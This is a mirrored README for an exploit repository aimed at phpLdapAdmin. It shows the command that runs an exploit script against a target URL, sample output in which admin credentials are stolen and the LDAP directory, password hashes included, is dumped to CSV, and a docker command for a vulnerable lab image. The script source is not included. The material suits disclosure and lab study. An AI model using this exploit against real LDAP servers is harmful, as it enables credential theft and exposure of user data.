Giter Club home page Giter Club logo

exploit-phpldapadmin-remote-dump's Introduction

phpLdapAdmin multiple vulns

Docker Pulls

phpLdapAdmin is a Web-based LDAP browser to manage your LDAP server in its last version has a remote vulnerability that when exploited can lead to remote dumping the whole LDAP server, inclusing user accounts and their respective passwords.

Exploit

execution

To run this exploit run ./exploit.sh http://host/htdocs/ (or the directory containing the cmd.php file). Example:

./exploit.sh http://localhost:9999/htdocs/
[+] phpLdap remote exploit by OPSXCQ
    Get the source code at https://github.com/opsxcq/
[+] Trying to get the cookie value from http://localhost:9999/htdocs/
[*] Login stolen cn=admin,dc=vulnerable,dc=strm,dc=sh with password admin
[+] Logging in with the stolen credentials
[+] Dumping the database to CSV
"dn","dc","o","objectclass","cn","description","userpassword","gidnumber","givenname","homedirectory","loginshell","sn","uid","uidnumber"
"dc=vulnerable,dc=strm,dc=sh","vulnerable","strm.sh","top | dcObject | organization","","","","","","","","","",""
"cn=admin,dc=vulnerable,dc=strm,dc=sh","","","simpleSecurityObject | organizationalRole","admin","LDAP administrator","{SSHA}QUtf9EKvsgZbnYJt9cTd61qp1OPeu8An","","","","","","",""
"cn=users,dc=vulnerable,dc=strm,dc=sh","","","posixGroup | top","users","","","500","","","","","",""
"cn=Joe Hack,cn=users,dc=vulnerable,dc=strm,dc=sh","","","inetOrgPerson | posixAccount | top","Joe Hack","","{MD5}I7QiLSYTonZdTUMtLWXojg==","500","Joe","/home/users/jhack","/bin/bash","Hack","jhack","1000"

Vulnerable environment

To simulate this attack you can use a vulnerable docker image. If you have docker installed, just run:

docker run --rm -it -p 80:80 vulnerables/phpldapadmin-remote-dump

Credits

This vulnerability was disclosed by @le_keksec on twitter and their exploit code is included in this repo, and also can be found here.

Disclaimer

This or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that me (opsxcq) is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs is not opsxcq's responsibility.

exploit-phpldapadmin-remote-dump's People

Contributors

opsxcq avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.